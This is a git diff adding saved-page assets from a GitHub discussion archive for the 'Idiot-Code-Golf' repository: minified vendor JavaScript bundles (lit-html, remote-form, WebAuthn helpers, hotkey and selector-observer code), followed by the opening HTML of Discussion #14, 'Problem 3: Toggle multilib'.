of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 3: Toggle multilib · Discussion #14 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #14  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 3: Toggle multilib + + #14 +

    +
    + Unanswered +
